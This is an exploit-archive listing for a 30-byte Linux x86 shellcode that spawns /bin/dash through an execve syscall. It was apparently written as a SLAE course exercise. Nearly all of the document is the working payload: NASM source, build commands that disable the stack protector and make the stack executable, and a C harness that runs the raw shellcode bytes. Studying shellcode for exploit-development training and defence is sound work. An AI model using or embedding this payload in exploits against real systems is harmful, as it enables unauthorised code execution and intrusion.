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Linux x86 exec /bin/dash Shellcode

Linux x86 exec /bin/dash Shellcode
Posted Jan 9, 2018
Authored by Hashim Jawad

30 bytes small Linux x86 exec /bin/dash shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 0dcc25a61556aac3d057ee9989212f00bca2a0687dfb4646dedb97c699a76dbe

Linux x86 exec /bin/dash Shellcode

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/*

################## Description ####################

; Title : exec /bin/dash - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/dash shell
; OS : Linux
; Arch : x86
; Size : 30 bytes

################### dash.nasm #####################

global _start

section .text

_start:

; push NULL into the stack
xor eax, eax
push eax

; push (////bin/dash) into the stack

push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f

; push ESP pointer to EBX
mov ebx, esp

; execute __NR_execve syscall
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

################### dash binary #####################

nasm -f elf32 -o dash.o dash.nasm

ld -z execstack -o dash dash.o

################### Shellcode ########################

objdump -d dash -M intel

################## Compile #########################

gcc -fno-stack-protector -z execstack dash.c -o dash

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

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